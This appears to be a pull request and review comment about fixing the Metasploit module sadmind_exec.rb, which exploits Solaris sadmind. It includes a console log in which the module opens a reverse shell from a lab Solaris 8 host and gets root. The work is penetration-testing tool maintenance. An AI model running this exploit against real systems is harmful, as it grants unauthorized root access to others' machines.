Fix Solaris sadmind_exec.rb

I have found problems with the current implementation of sadmind_exec.rb
1) sometimes the path variable is not set depending on the exploit/shell access, so echo is not /bin/echo but /usr/bin/echo or /usr/ucb/echo
2) echo on solaris does not support -e, so the encoded instructions were not executing
3) the second sadmind packet was not correctly authenticating, when compared to the version from metasploit-2.7 and generating an error.

To overcome these errors, I changed payload.encoded to payload.raw, and added sunrpc_authnix method before the second packet/stage containing the payload.

The below was tested on a default x86 install of Solaris 5.8

```
msf > use exploit/solaris/sunrpc/sadmind_exec 
msf exploit(sadmind_exec) > show options

Module options (exploit/solaris/sunrpc/sadmind_exec):

   Name      Current Setting  Required  Description
   ----      ---------------  --------  -----------
   GID       0                no        GID to emulate
   HOSTNAME                   no        Remote hostname
   RHOST                      yes       The target address
   RPORT     111              yes       The target port
   UID       0                no        UID to emulate


Exploit target:

   Id  Name
   --  ----
   0   Automatic


msf exploit(sadmind_exec) > set rhost 192.1.1.72
rhost => 192.1.1.72
msf exploit(sadmind_exec) > exploit
[*] Started reverse double handler
[*] attempting to determine hostname
[*] found hostname: sun8
[*] exploit did not give us an error, this is good...
[*] Accepted the first client connection...
[*] Accepted the second client connection...
[*] Command: echo dAB5ZPGeo2Un7wO6;
[*] Writing to socket A
[*] Writing to socket B
[*] Reading from sockets...
[*] Reading from socket B
[*] B: "dAB5ZPGeo2Un7wO6\r\n"
[*] Matching...
[*] A is input...
[*] Command shell session 1 opened (192.1.1.26:4444 -> 192.1.1.72:32804) at 2014-07-13 17:49:21 +0100

id
uid=0(root) gid=0(root)
```
Honestly, using ```payload.raw``` sounds like a way to avoid the encoder. I understand your pain with the encoder using the ```-e``` flag, but this looks like a shortcut to avoid fixing the encoding :(. Normally, using ```payload.raw``` is a no no. 

Maybe registering some option in the encoder to allow the module/user to disable echo encoding when necessary. Looks like the echo encoding isn't universal. Other solutions? ping @egypt